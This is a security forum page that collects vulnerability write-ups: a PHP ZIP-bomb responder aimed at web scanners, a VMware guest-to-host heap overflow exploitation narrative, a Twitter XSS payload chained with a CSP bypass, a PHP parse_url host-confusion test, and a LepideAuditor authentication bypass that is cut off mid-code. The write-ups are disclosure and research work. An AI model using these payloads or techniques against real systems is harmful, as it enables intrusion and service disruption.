Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 07/06/17 in all areas

  1. How to defend your website with ZIP bombs the good old methods still work today Posted by Christian Haschek on 2017-07-05 [update] I'm on some list now that I have written an article about some kind of "bomb", ain't I? If you have ever hosted a website or even administrated a server you'll be very well aware of bad people trying bad things with your stuff. When I first hosted my own little linux box with SSH access at age 13 I read through the logs daily and report the IPs (mostly from China and Russia) who tried to connect to my sweet little box (which was actually an old ThinkPad T21 with a broken display running under my bed) to their ISPs. Actually if you have a linux server with SSH exposed you can see how many connection attempts are made every day: grep 'authentication failures' /var/log/auth.log Hundreds of failed login attempts even though this server has disabled password authentication and runs on a non-standard port Wordpress has doomed us all Ok to be honest, web vulnerability scanners have existed before Wordpress but since WP is so widely deployed most web vuln scanners include scans for some misconfigured wp-admin folders or unpatched plugins. So if a small, new hacking group wants to gain some hot cred they'll download one of these scanner things and start testing against many websites in hopes of gaining access to a site and defacing it. Sample of a log file during a scan using the tool Nikto This is why all server or website admins have to deal with gigabytes of logs full with scanning attempts. So I was wondering.. Is there a way to strike back? After going through some potential implementations with IDS or Fail2ban I remembered the old ZIP bombs from the old days. WTH is a ZIP bomb? So it turns out ZIP compression is really good with repetitive data so if you have a really huge text file which consists of repetitive data like all zeroes, it will compress it really good. Like REALLY good. As 42.zip shows us it can compress a 4.5 peta byte (4.500.000 giga bytes) file down to 42 kilo bytes. When you try to actually look at the content (extract or decompress it) then you'll most likely run out of disk space or RAM. How can I ZIP bomb a vuln scanner? Sadly, web browsers don't understand ZIP, but they do understand GZIP. So firstly we'll have to create the 10 giga byte GZIP file filled with zeroes. We could make multiple compressions but let's keep it simple for now. dd if=/dev/zero bs=1M count=10240 | gzip > 10G.gzip Creating the bomb and checking its size As you can see it's 10 MB large. We could do better but good enough for now. Now that we have created this thing, let's set up a PHP script that will deliver it to a client. <?php //prepare the client to recieve GZIP data. This will not be suspicious //since most web servers use GZIP by default header("Content-Encoding: gzip"); header("Content-Length: ".filesize('10G.gzip')); //Turn off output buffering if (ob_get_level()) ob_end_clean(); //send the gzipped file to the client readfile('10G.gzip'); That's it! So we could use this as a simple defense like this: <?php $agent = lower($_SERVER['HTTP_USER_AGENT']); //check for nikto, sql map or "bad" subfolders which only exist on wordpress if (strpos($agent, 'nikto') !== false || strpos($agent, 'sqlmap') !== false || startswith($url,'wp-') || startswith($url,'wordpress') || startswith($url,'wp/')) { sendBomb(); exit(); } function sendBomb(){ //prepare the client to recieve GZIP data. This will not be suspicious //since most web servers use GZIP by default header("Content-Encoding: gzip"); header("Content-Length: ".filesize('10G.gzip')); //Turn off output buffering if (ob_get_level()) ob_end_clean(); //send the gzipped file to the client readfile('10G.gzip'); } function startsWith($haystack,$needle){ return (substr($haystack,0,strlen($needle)) === $needle); } This script obviously is not - as we say in Austria - the yellow of the egg, but it can defend from script kiddies I mentioned earlier who have no idea that all these tools have parameters to change the user agent. Sooo. What happens when the script is called? Client Result IE 11 Memory rises, IE crashes Chrome Memory rises, error shown Edge Memory rises, then dripps and loads forever Nikto Seems to scan fine but no output is reported SQLmap High memory usage until crash (if you have tested it with other devices/browsers/scripts, please let me know and I'll add it here) Reaction of the script called in Chrome If you're a risk taker: Try it yourself Sursa: https://blog.haschek.at/post/f2fda
    6 points
  2. Cand nu poti cu capu ... dai cu picioru
    1 point
  3. Arata si mie un fotbalist cu iq mai mare decat laba piciorului.
    1 point
  4. Trebuie sa alegi, Arta sau lautarie. Fotbalul este o ocupatie pentru labagii spargatori de seminte si bautori de bere.
    1 point
  5. The Weak Bug - Exploiting a Heap Overflow in VMware acez 06 Jul 2017 Share this post Introduction In march 2017, I took part in the pwn2own contest with team Chaitin Security Research Lab. The target I was focused on was VMware Workstation Pro and we managed to get a working exploit before the contest. Unfortunately, a version of VMware was released on March 14th, the day before the contest, with a patch for the vulnerability our exploit was taking advantage of. This blog post is a narrative of our journey from finding the vulnerability to exploiting it. I would like thank @kelwin whose assistance was indispensable during the development of the exploit. I would also like to thank the ZDI folks for their recent blog post which motivated us to get off our asses and make this writeup :P. The post is divided into three parts. First we will briefly describe the VMware RPCI gateway, next we will describe the vulnerability and finally we'll have a look at how we were able to use this single exploit to defeat ASLR and get code execution. The VMware RPCI Unsurprisingly, VMware exposes a number of ways for the guest and host to communicate with each other. One of these ways is through an interface called the Backdoor. The guest is able to send commands through this interface in user mode because of an interesting design. This same interface is used (partly) by VMware Tools in order to communicate with the host. Let's have a look at some sample code (taken from lib/backdoor/backdoorGcc64.c in open-vm-tools): void Backdoor_InOut(Backdoor_proto *myBp) // IN/OUT { uint64 dummy; __asm__ __volatile__( #ifdef __APPLE__ /* * Save %rbx on the stack because the Mac OS GCC doesn't want us to * clobber it - it erroneously thinks %rbx is the PIC register. * (Radar bug 7304232) */ "pushq %%rbx" "\n\t" #endif "pushq %%rax" "\n\t" "movq 40(%%rax), %%rdi" "\n\t" "movq 32(%%rax), %%rsi" "\n\t" "movq 24(%%rax), %%rdx" "\n\t" "movq 16(%%rax), %%rcx" "\n\t" "movq 8(%%rax), %%rbx" "\n\t" "movq (%%rax), %%rax" "\n\t" "inl %%dx, %%eax" "\n\t" /* NB: There is no inq instruction */ "xchgq %%rax, (%%rsp)" "\n\t" "movq %%rdi, 40(%%rax)" "\n\t" "movq %%rsi, 32(%%rax)" "\n\t" "movq %%rdx, 24(%%rax)" "\n\t" "movq %%rcx, 16(%%rax)" "\n\t" "movq %%rbx, 8(%%rax)" "\n\t" "popq (%%rax)" "\n\t" #ifdef __APPLE__ "popq %%rbx" "\n\t" #endif : "=a" (dummy) : "0" (myBp) /* * vmware can modify the whole VM state without the compiler knowing * it. So far it does not modify EFLAGS. --hpreg */ : #ifndef __APPLE__ /* %rbx is unchanged at the end of the function on Mac OS. */ "rbx", #endif "rcx", "rdx", "rsi", "rdi", "memory" ); } Looking at this code, one thing that seems odd is the inl instruction. Under normal circumstances (default I/O privilege level on Linux for instance), a user mode program should not be able to issue I/O instructions. Therefore this instruction should simply just cause the user mode program to fault and crash. This instruction actually generates a privilege error and on the host the hypervisor catches this fault. This ability to communicate with the host from a user land in the guest makes the Backdoor an interesting attack surface since it satisfies the pwn2own requirement: "An attempt in this category must be launched from within the guest operating system from a non-admin account and execute arbitrary code on the host operating system." .The guest puts the value 0x564D5868 in $eax and the I/O port numbers 0x5658 or 0x5659 are stored in $dx for low bandwidth and high bandwidth data transfers respectively. Other registers are used for passing parameters. For instance the lower half of $ecx is used to store the backdoor command number. In the case of RPCI, the command number is set to BDOOR_CMD_MESSAGE = 30. The file lib/include/backdoor_def.h contains a list of some supported backdoor commands. The host catches the fault, reads the command number and dispatches the corresponding handler. There are a lot of other details I am omitting here so if you are interested in this interface you should read the source code. RPCI The Remote Procedure Call Interface is built on top of the aforementioned backdoor and basically allows a guest to issue requests to the host to perform certain operations. For instance, operations like Drag n Drop / Copy Paste as well as number of other random things such as sending or retrieving info on the guest use this interface. The format of RPCI requests is pretty simple: <cmd> <params>. For example the RPCI request "info-get guestinfo.ip" can be used in order to request the IP address assigned to the guest. For each RPCI command, an endpoint is registered and handled in vmware-vmx. Please note that some RPCI commands can also use the VMCI sockets but that is beyond the scope of this article. The Vulnerability After some time reversing the different RPCI handlers, I decided to focus on the DnD and Copy&Paste endpoints. They seemed to be the most complex command handlers and therefore I was hoping it would be the best place to hunt for vulnerabilities. Although I got a chance to understand a lot of the inner workings of DnD/CP, it became apparent however that a lot of the functionality in these handlers is not reachable without user interaction. The core functionality of DnD/CP basically maintains some state machine which has some unsatisfiable states when there is no user interaction (e.g mouse drag from host to guest). At a loss, I decided to have a look at the vulnerabilities that were reported during Pwnfest 2016 and mentioned in this VMware advisory, my idb had a lot of "symbols" at this point so it was easy to use bindiff to find the patches. The code below shows one of the vulnerable functions before it was patched (which turns out has source code available in services/plugins/dndcp/dnddndCPMsgV4.c; the vulnerability is still in master branch of the git repo of open-vm-tools btw): static Bool DnDCPMsgV4IsPacketValid(const uint8 *packet, size_t packetSize) { DnDCPMsgHdrV4 *msgHdr = NULL; ASSERT(packet); if (packetSize < DND_CP_MSG_HEADERSIZE_V4) { return FALSE; } msgHdr = (DnDCPMsgHdrV4 *)packet; /* Payload size is not valid. */ if (msgHdr->payloadSize > DND_CP_PACKET_MAX_PAYLOAD_SIZE_V4) { return FALSE; } /* Binary size is not valid. */ if (msgHdr->binarySize > DND_CP_MSG_MAX_BINARY_SIZE_V4) { return FALSE; } /* Payload size is more than binary size. */ if (msgHdr->payloadOffset + msgHdr->payloadSize > msgHdr->binarySize) { // [1] return FALSE; } return TRUE; } Bool DnDCPMsgV4_UnserializeMultiple(DnDCPMsgV4 *msg, const uint8 *packet, size_t packetSize) { DnDCPMsgHdrV4 *msgHdr = NULL; ASSERT(msg); ASSERT(packet); if (!DnDCPMsgV4IsPacketValid(packet, packetSize)) { return FALSE; } msgHdr = (DnDCPMsgHdrV4 *)packet; /* * For each session, there is at most 1 big message. If the received * sessionId is different with buffered one, the received packet is for * another another new message. Destroy old buffered message. */ if (msg->binary && msg->hdr.sessionId != msgHdr->sessionId) { DnDCPMsgV4_Destroy(msg); } /* Offset should be 0 for new message. */ if (NULL == msg->binary && msgHdr->payloadOffset != 0) { return FALSE; } /* For existing buffered message, the payload offset should match. */ if (msg->binary && msg->hdr.sessionId == msgHdr->sessionId && msg->hdr.payloadOffset != msgHdr->payloadOffset) { return FALSE; } if (NULL == msg->binary) { memcpy(msg, msgHdr, DND_CP_MSG_HEADERSIZE_V4); msg->binary = Util_SafeMalloc(msg->hdr.binarySize); } /* msg->hdr.payloadOffset is used as received binary size. */ memcpy(msg->binary + msg->hdr.payloadOffset, packet + DND_CP_MSG_HEADERSIZE_V4, msgHdr->payloadSize); // [2] msg->hdr.payloadOffset += msgHdr->payloadSize; return TRUE; } This function is called in Version 4 of DnD/CP from the host's side when the guest sends fragment DnD/CP command packets. The host invokes this function in order to reassemble the chunks of the DnD/CP message sent by the guest. The first packet received should have payloadOffset == 0 and binarySize specifying the size of a buffer dynamically allocated on the heap. At [1], there is a check to make sure that the payloadOffset and payloadSize do not go out of bounds by comparing it to the binarySize of the packet header. At [2] , the data is copied to the allocated buffer. However, the check at [1] is flawed because it only works for the first received packet. For subsequent packets, the check is invalid since the code expects the binarySize field of the packet header to match that of the first packet in the fragment stream. You might also have noticed that at [1] there is an integer overflow, but this is actually not exploitable since payloadOffset needs to be set to either 0 or should be equal to expected payloadOffset of the buffered message. Therefore, the vulnerability can be triggered for example by sending the following sequence of fragments: packet 1{ ... binarySize = 0x100 payloadOffset = 0 payloadSize = 0x50 sessionId = 0x41414141 ... #...0x50 bytes...# } packet 2{ ... binarySize = 0x1000 payloadOffset = 0x50 payloadSize = 0x100 sessionId = 0x41414141 ... #...0x100 bytes...# } Armed with this knowledge, I decided to have a look at Version 3 of DnD/CP to see if anything had been missed in there. Lo and behold, the exact same vulnerability was present in Version 3 of the code: (this vulnerability was discovered by reversing, but we later noticed that the code for v3 was also present in the git repo of open-vm-tools.) Bool DnD_TransportBufAppendPacket(DnDTransportBuffer *buf, // IN/OUT DnDTransportPacketHeader *packet, // IN size_t packetSize) // IN { ASSERT(buf); ASSERT(packetSize == (packet->payloadSize + DND_TRANSPORT_PACKET_HEADER_SIZE) && packetSize <= DND_MAX_TRANSPORT_PACKET_SIZE && (packet->payloadSize + packet->offset) <= packet->totalSize && packet->totalSize <= DNDMSG_MAX_ARGSZ); if (packetSize != (packet->payloadSize + DND_TRANSPORT_PACKET_HEADER_SIZE) || packetSize > DND_MAX_TRANSPORT_PACKET_SIZE || (packet->payloadSize + packet->offset) > packet->totalSize || //[1] packet->totalSize > DNDMSG_MAX_ARGSZ) { goto error; } /* * If seqNum does not match, it means either this is the first packet, or there * is a timeout in another side. Reset the buffer in all cases. */ if (buf->seqNum != packet->seqNum) { DnD_TransportBufReset(buf); } if (!buf->buffer) { ASSERT(!packet->offset); if (packet->offset) { goto error; } buf->buffer = Util_SafeMalloc(packet->totalSize); buf->totalSize = packet->totalSize; buf->seqNum = packet->seqNum; buf->offset = 0; } if (buf->offset != packet->offset) { goto error; } memcpy(buf->buffer + buf->offset, packet->payload, packet->payloadSize); buf->offset += packet->payloadSize; return TRUE; error: DnD_TransportBufReset(buf); return FALSE; } This function is called for fragment reassembly of DnD/CP protocol version 3. Here we can see the same situation as before at [1]; trusting that totalSize from the subsequent fragments would match totalSize of the first fragment. Thus this vulnerability can be triggered in a similar fashion to the previous one: packet 1{ ... totalSize = 0x100 payloadOffset = 0 payloadSize = 0x50 seqNum = 0x41414141 ... #...0x50 bytes...# } packet 2{ ... totalSize = 0x1000 payloadOffset = 0x50 payloadSize = 0x100 seqNum = 0x41414141 ... #...0x100 bytes...# } This brings us to the title of this blog post: "The Weak Bug". In the context of a contest like pwn2own, I think the bug is weak because not only was it inspired by a previously reported one, it was pretty much exactly the same one. Therefore it really was no surprise when it was patched before the contest (okay, maybe we didn't expect it to get patched one day before the contest :P). The corresponding VMware advisory can be found here. The latest version of VMware Workstation Pro affected by this bug is version 12.5.3. We can now have a look at how to abuse the vulnerability and come up with a guest to host escape! Exploitation We want to gain code execution through this vulnerability so we need to either find a function pointer to overwrite on the heap or to corrupt the vtable of a C++ object. First though, let's have a look at how to set the DnD/CP protocol to version 3. This can be done by sending the following sequence of RPCI commands: tools.capability.dnd_version 3 tools.capability.copypaste_version 3 vmx.capability.dnd_version vmx.capability.copypaste_version The first two lines respectively set the versions of DnD and Copy/Paste. The latter two lines query the versions. They are required because querying the versions is what actually causes the version to be switched. The RPCI command handler for the vmx.capability.dnd_version checks if the version of the DnD/CP protocol has been modified and if so, it will create a corresponding C++ object for the specified version. For version 3, two C++ objects of size 0xA8 are created; one for DnD commands and one for Copy/Paste commands. The vulnerability gives us control over the allocation size as well as the overflow size but it also allows us to write out of bounds multiple times. Ideally we can just allocate an object of size 0xA8 and make it land before the C++ object then overwrite the vtable pointer with a pointer to controlled data to get code execution. It is not as simple as that however, since there are a few things we need to address first. Mainly we need to find a way to defeat ASLR which in our case implies also dealing with the Windows Low Fragmented Heap. Defeating ASLR We need to find an object we can overflow into and somehow influence it to get us in info leak; like an object we can read back from the guest with a length field or a data pointer we can easily corrupt. We were unable to find such an object so we decided to reverse the other RPCI command handlers a bit more and see what we could come up with. Of particular interest were commands that had counter parts, in other words, you can use one command to set some data and then use another related command to retrieve the data back. The winner was the info-set and info-get command pair: info-set guestinfo.KEY VALUE info-get guestinfo.KEY VALUE is a string and its string length controls the allocation size of a buffer on the heap. Moreover we can allocate as many strings as we want in this way. But how can we use these strings to leak data ? Simply by overwriting past the null byte and "lining" up the string with the adjacent chunk. If we can allocate a string (or strings) between the overflowing chunk and a DnD or CP object, then we can leak the vtable address of the object and hence the base address of vmware-vmx. Since we can allocate many strings, we can increase our chances of obtaining this heap layout despite the randomization of the LFH. However there is still an aspect of the allocations we do not control and that is whether a DnD or CP object is allocated after our overflowing heap chunk. From our tests, we were able to get a probability of success between 60% and 80% by playing with different parameters of our exploit such as allocating and free'ing different amounts of strings. In summary, we have the following (Ov is the overflowing chunk, S is a string and T is the target object): The plan is basically to allocate a number of strings filled with A's for example then we overflow the adjacent chunk with some B's, read back the value of all the allocated strings, the one that contains B's is the one we have corrupted. At this point we have a string we can use to read the leak with, so we can keep overflowing with a granularity matching the size of the objects in the bucket (0xA8) and reading back the string every time to check if there is some leaked data in the string. We can know that we have reached the target object because we know the offsets (from the vmware-vmx base) of the vtables of the DnD and CopyPaste objects. Therefore after each overflow, we can look at the last bits of the retrieved data to see if they match that of the vtable offsets. Getting Code Execution Now that we have obtained the info leak and know what type of C++ object we are about to overflow we can proceed with the rest of the exploitation. There are two cases we need to handle, CopyPaste and DnD. Please note that this is probably just one line of exploitation out of many others. The CopyPaste case In the case of the CopyPaste object, we can just overwrite the vtable and make it point to some data we control. We need a pointer to controlled data which will be interpreted as the vtable address of the object. The way we decided to do this is by using another RPCI command: unity.window.contents.start. This command is used for the Unity mode to draw some images on the host and allows us to have some values that we control at a know offset from the base address of vmware-vmx. To of the arguments taken by the command are width and height of the image, each of them a 32-bit word. By combining the two, we can have a 64-bit value at a known address. We line it up with the vtable entry of the CopyPaste object that we can trigger by just sending a CopyPaste command. In summary we do the following: Send a unity.window.contents.start to write a 64-bit address of a stack pivot gadget at a know address with the height and width parameters. Overwrite the vtable address with a pointer to the 64-bit address (adjusted with the offset of the vtable entry that will be called). Trigger the use of the vtable by sending a CopyPaste command. ROP. The DnD case In the case of the DnD object, we can't just overwrite the vtable because right after the overflow the vtable is accessed to call another method so we need to do it another way. This is because we only know the address of 1 qword that we control through the unity image's width and height, so we can't forge a vtable of the size we want. Let's have a look at the structure of the DnD and CP objects which can be summarized as follows (again, some similar structures can be found in open-vm-tools but they have slightly different formats in vmware-vmx): DnD_CopyPaste_RpcV3{ void * vtable; ... uint64_t ifacetype; RpcUtil{ void * vtable; RpcBase * mRpc; DnDTransportBuffer{ uint64_t seqNum; uint8_t * buffer; uint64_t totalSize; uint64_t offset; ... } ... } } RpcBase{ void * vtable; ... } A lot of fields have been omitted since they are irrelevant for the purpose of this blog post. There is a pointer to an RpcBase object which is also a C++ object. Therefore if we can overwrite the mRpc field with a pointer-to-pointer to data we control, we can have a vtable of our liking for the RpcBase object. For this pointer we can also use the unity.window.contents.start command. Another parameter the command takes on top of width and height is imgsize, which controls the size of the image buffer. This buffer is allocated and its address can also be found at a static offset from the vmware-vmx base. We can populate the contents of the buffer by using the unity.window.contents.chunk command. In summary we do the following: Send a unity.window.contents.start command to allocate a buffer where we will store a fake vtable. Send a unity.window.contents.chunk command to populate the fake vtable with some stack pivot gadget. Overwrite the mRpc field of the DnD object with an address pointing to the address of the allocated buffer. Trigger the use of the vtable of the mRpc field by sending a DnD command. ROP. P.S: There is a RWX page in vmware-vmx (at least in version 12.5.3). Notes on Reliability As mentioned earlier, the exploit is not 100% reliable due to the Windows LFH. Some things can be attempted in order to increase the reliability. Here is a short list: Monitor allocations of size 0xA8 to see if we can take advantage of the determinism of the LFH after a number of malloc's() and free's() as described here and here. Find some other C++ objects to overwrite, preferably some that we can spray. Find some other objects on the heap with function pointers, preferably some that we can spray. Find a seperate info leak bug that we can use as an oracle. Be more creative. Useless Video Here is a video of the exploit in "action". (Yes, it's VMware inside VMware.) Conclusion "No pwn no fun" and make sure that if you want to take part in some contest like pwn2own you either have multiple bugs or you find some inspired vulnerabilities. Sursa: http://acez.re/the-weak-bug-exploiting-a-heap-overflow-in-vmware/
    1 point
  6. tbmnull Jul 6 Making an XSS triggered by CSP bypass on Twitter. Hi there, I’m a security researcher & bug hunter, but still learning. I want to share how hard it was to find an XSS (Cross Site Scripting) on such a huge organization and well secured Twitter.com and how I could achieve it with combining another security vulnerability CSP (Content Security Policy) bypass. Here is the story: After digging a lot on Twitter’s subdomains, I came across to https://careers.twitter.com/. As you can guess, it is Twitter’s career site, you can search for jobs as an opportunity to work with them, but I search for bugs. Sometime later, I thought I’ve found a reflection for an XSS on the URL: https://careers.twitter.com/en/jobs-search.html?location=1" onmouseover=”alert(1)&q=1&start=70&team= with the location parameter. But wait, there was no alert! I couldn’t be able to trigger it! Because they’ve implemented CSP as: content-security-policy: default-src ‘self’ ; connect-src ‘self’ ; font-src ‘self’ https://*.twimg.com https://*.twitter.com data:; frame-src ‘self’ https://twitter.com https://*.twitter.com [REDACTED] https://*.twitter.com; report-uri https://twitter.com/i/csp_report and It blocked the javascript alert box to be come to scene. So, I was unsuccessful on getting this work, unfortunately. Then I applied to my master @brutelogic as always and asked him that I’ve found some XSS (didn’t share the details nor domain) but I could not be able to get it work because of the CSP. He adviced me to find a way to bypass it! I already remember his saying: “For god’s sake, stop talking and go find a way to bypass the CSP!”. Thanks bro :) I tried a lot to find the way, and gave up that time. After trying a lot and looking for something on other domains, I figured out an URL that’s going under the radar within GET requests hiddenly. URL was: https://analytics.twitter.com/tpm?tpm_cb= The response Content-type was application/javascript and what I write as the parameter tpm_cb, it was reflecting on the page! I was lucky this time, and I tried to combine both my findings to make the XSS work. So, I created: https://careers.twitter.com/en/jobs-search.html?location=1"> src=//analytics.twitter.com/tpm?tpm_cb=alert(document.domain)>// willing “><script src= on the XSS reflection will work. And voila! It worked! Happy End! I screamed out in my office and all my colleagues were afraid. Sorry guys :) I immediately reported these to Twitter via their bug bounty program on Hackerone, they triaged and rewarded me very quickly. Also they fixed the XSS on career site but CSP bypass took a long time to fix. But in the end both sides were satisfied. Thanks to Twitter Security Team and an awesome community hackerone! Hope this helps newbies like me to develop themselves. And If you want to share your thoughts, just ping me on Twitter: @tbmnull Thanks for reading. Sursa: https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5
    1 point
  7. TSIG authentication bypass through signature forgery in ISC BIND Synacktiv experts discovered a flaw within the TSIG protocol implementation in BIND that would allow an attacker knowing a valid key name to bypass the TSIG authentication on zone updates, notify and transfers operations. This issue is due to the fact that when a wrong TSIG digest length is provided (aka the digest doesn’t have a length that matches the hash algorithm used), the server still signs its answer by using the provided digest as a prefix. This allows an attacker to forge the signature of a valid request, hence bypassing the TSIG authentication. Download: http://www.synacktiv.ninja/ressources/CVE-2017-3143_BIND9_TSIG_dynamic_updates_vulnerability_Synacktiv.pdf
    1 point
  8. Publicat pe 5 iul. 2017 Ad-hoc session working on pivoted packets through Meterpreter. Not finished, more to do, but small chunks of progress.
    1 point
  9. Kernel Pool Overflow Exploitation In Real World – Windows 7 1) Introduction This article will focus on a vulnerability (CVE-2017-6008) we identified in the HitmanPro standalone scan version 3.7.15 – Build 281. This tool is a part of the HitmanPro.Alert solution and has been integrated in the Sophos solutions as SophosClean.exe. The vulnerability has been reported to Sophos in February 2017. The version 3.7.20 – Build 286 patched the vulnerability in May 2017. We discovered the first crash while playing with Ioctlfuzzer [1]. Ioctlfuzzer is a great and simple tool made to fuzz the I/O Request Packets (IRP). The fuzzer hooks the DeviceIoControlFile API function and place itself as a man in the middle. For each IRP the fuzzer receives, it lands severals malformed IRP before sending the original one. The first crash occured at the very beginning of the scan, in the Initialization phase, with a BAD_POOL_HEADER code. Before going deeper, I strongly recommand readers learn a bit more on IOCTL and IRP on Windows. The MSDN documentation provides a lot of informations you must know to fully understand this article. This blogpost will be focused on x64 architectures, since it’s harder to exploit than x32 architectures. Article: http://trackwatch.com/kernel-pool-overflow-exploitation-in-real-world-windows-7/
    1 point
  10. Description: ------------ url like these - http://example.com:80#@google.com/ - http://example.com:80?@google.com/ parse_url return wrong host. https://tools.ietf.org/html/rfc3986#section-3.2 The authority component is preceded by a double slash ("//") and is terminated by the next slash ("/"), question mark ("?"), or number sign ("#") character, or by the end of the URI. This problem has been fixed in 7.1. https://github.com/php/php-src/pull/1607 But, this issue should be recognized as security issue. example: - bypass authentication protocol (verify hostname of callback url by parse_url) - open redirector (verify hostname by parse_url) - server-side request forgery (verify hostname by parse_url and get_content) Test script: --------------- php > echo parse_url("http://example.com:80#@google.com/")["host"]; google.com php > echo parse_url("http://example.com:80?@google.com/")["host"]; google.com php > echo file_get_contents("http://example.com:80#@google.com"); ... contents of example.com ... Expected result: ---------------- parse_url("http://example.com:80#@google.com/")["host"]; example.com or parse error. Sursa: https://cxsecurity.com/issue/WLB-2017070054
    1 point
  11. Cand iti deschizi cabinet, sa ne anuntzi, poate iesim ieftin http://arhiva-www.uoradea.ro/attachment/791672704232e82e41d0a31a6bc16159/3a58ebf07232db0bc3fc95ada2ab7faf/Vancsik_Ioan.pdf http://www.centrureabilitareorala-umfiasi.ro/Files/Suport4.pdf
    1 point
  12. Auditing the Auditor July 5, 2017Exploit Development, Offensive Security, Penetration Testing Some time ago, we noticed some security researchers looking for critical vulnerabilities affecting “security” based products (such as antivirus) that can have a damaging impact to enterprise and desktop users. Take a stroll through the Google Project Zero bug tracker to see what we mean. Other security researchers are outspoken about such products as well: The underlying point is that on the face of it, the wider community assumes that security products are themselves secure and often don’t comprehend the significant increase of attack surface introduced by so-called security products. Thanks to the work of security researchers, antivirus has been proven to fall short of the big enterprise giants, who already implement sandbox technologies, strong exploit mitigation technologies, and have evolving and maturing bug bounty programs. While we all love a good antivirus remote code execution vulnerability, many intelligent people are already working in that space so we decided to begin auditing compliance-based enterprise software products. This type of software typically tries to ensure some level of security and compliance, promising high integrity to the enterprise market. Today, we’re going to discuss an interesting vulnerability that was discovered well over a year ago (Sun, 22 May 2016 at 7pm to be exact) during the audit of one such compliance-based enterprise product: LepideAuditor Suite. This vulnerability was publicly disclosed as ZDI-17-440 and marked as zero-day since no reply was received from the vendor. Interestingly, this vulnerability is patched in the latest version of LepideAuditor even though there is no mention of it in the product’s release history. The product introduction states that it is designed for IT security managers and audit personal among a few others and it allows users to access real-time reports through a “secure” web portal. Without further ado, let’s begin! Installation The suite is designed for IT security managers and audit personal among a few others. The suite consists of four components that can be installed after extracting the lepideauditorsuite.zip package. The first component that we installed was the “Lepide Auditor Web Console” The component installation is easy. With a double-click, we deployed the simple WAMP stack that Lepide provided on port 7778. Auditing With the application up and running, we started by looking at Process Explorer to see what was going on: We noticed that the web console is simply an Apache web server running as NT AUTHORITY/SYSTEM listening on port 7778. The properties window also displayed the current directory as C:\LepideAuditorSuiteWebConsole\apache so this is a good place to look first. Browsing around this path in Explorer revealed something interesting: It’s our good friend PHP and like many people, we love ourselves a good PHP target. Authentication Bypass Looking for some low-hanging fruit, we decided to start with a blackbox approach and spend some time poking around at the authentication mechanism: Right away, we noticed that the authentication process took a long time (around about 6 seconds) to get a response from the server. We also noticed that the application was asking for an extra server parameter as input, which is not normal, during authentication. It turns out that the extra time taken was because Apache was performing a DNS lookup request using ‘test’. Since we did not have login credentials and could not reach much functionality without them, we moved on to auditing the PHP source code directly. The first thing we looked at was the login functionality, apparently implemented by index.php. Opening up the file revealed the following: Full disclosure: we admit we got a bit of a chuckle over this. Whilst security through obscurity is fine for things like ASLR, it doesn’t make much sense for source code, especially using base64 as the obfuscation technique. We would at least expect a JIT obfuscation technique such as ionCube or Zend Guard. After breaking through the imposing base64 encoding, we saw the following code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php session_start(); if((isset($_SESSION["username"]))&&($_SESSION["username"]!="")) { //header("location: data.php" ); //exit(); } ?> <?php include_once("config.php"); ?> <?php $error=''; if(isset($_POST["submit"])) { $servername = isset($_POST["servername"])?mysql_real_escape_string($_POST["servername"]):""; $username = isset($_POST["username"])?mysql_real_escape_string($_POST["username"]):""; $password = isset($_POST["password"])?mysql_real_escape_string($_POST["password"]):""; if ($servername=="") { $error= "Please Enter Server Name"; } elseif ($username=="") { $error= "Please Enter Username"; } //elseif (strpos($username,'@')==false) { // $error= 'Please Enter Valid Username'; //} elseif ($username=="") { $error= "Please Enter Password"; } if($error=="") { $port=1056; $sock=connect ($servername,$port); if($sock) { $_SESSION["socket"]=$sock; $data= 601; //authenticate login if(sendtags($_SESSION["socket"],$data)) { if(sendstringtoserver($_SESSION["socket"],$username)) { if(sendstringtoserver($_SESSION["socket"],$password)) { $recv= getstringfromserver($_SESSION["socket"]); if ($recv =='_SUCCESS_') { $_SESSION["username"]=$username; $_SESSION["ip"]=$servername; $_SESSION["password"]=$password; $_SESSION["sessionno"]=rand(10,100); session_write_close(); header("location: reports" ); exit(); } Looking at the code, we see that it includes config.php, which of course, also looks interesting. However, to begin with, the code is taking user-supplied input as the server variable along with a hard-coded port number, and passing it to the connect() function on line 31. Let’s take a look at that function within the config.php file: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function connect ($ip,$port) { if (!extension_loaded('sockets')) { die('The sockets extension is not loaded.'); } if(!($sock = socket_create(AF_INET, SOCK_STREAM, 0))) { $errorcode = socket_last_error(); $errormsg = socket_strerror($errorcode); die("Couldn't create socket: [$errorcode] $errormsg \n"); } if(!socket_connect($sock , $ip ,$port)) { $sock= ""; $error="could not connect"; return $sock; } else{ return $sock; } return $sock; } The code creates a raw socket connection to the supplied server parameter. Switching back to the index.php script, on lines 37 and 39 the code tries to authenticate using the supplied username and password. If successful from line 43, a valid, authenticated session is created! Since, as an attacker, we can control the authenticating server parameter, we can essentially bypass the authentication. Gaining Remote Code Execution Now that we could bypass the authentication, we decided to look further into the source code and see what other input is trusted from the authentication server. After spending some more time browsing around the source code, we noticed an interesting file named genratereports.php. Judging by the name, it is presumably used to generate rate reports, rather than facilitating an attacker’s access into the target. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 $gid= isset($_GET["grid_id"])?$_GET["grid_id"]:''; if(($id!=0)&&($daterange!="")&&($path!="")&&($gid=="")) { $port=1056; $sock =login($ip, $port, $username,$password); if($sock) { $data = 604; if(sendtags($sock,$data)) { if(sendstringtoserver($sock,$id)) { if(sendstringtoserver($sock,$path)) { $columnamestr=getstringfromserver($sock); $columname=genratecolumnname($columnamestr); session_start(); $_SESSION["columname"]=$columname; session_write_close(); } } } if($columname) { $data = 603; if(sendtags($sock,$data)) { if(sendstringtoserver($sock,$daterange)) { if(sendstringtoserver($sock,$id)) { if(sendstringtoserver($sock,$path)) { $filename=getfilefromremote($sock); if($filename) { $restore_file = "temp/".$filename.".sql"; if(createdb($restore_file,$username,$sessionnumber)) It seems that we can reach the vulnerable code block if the $gid variable is set, which is controlled from the grid_id GET parameter. Next, login() is called using our supplied username and password from our authenticated session. The login() function is essentially the same process we went through before to authenticate and setup the initial session, defined in config.php. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 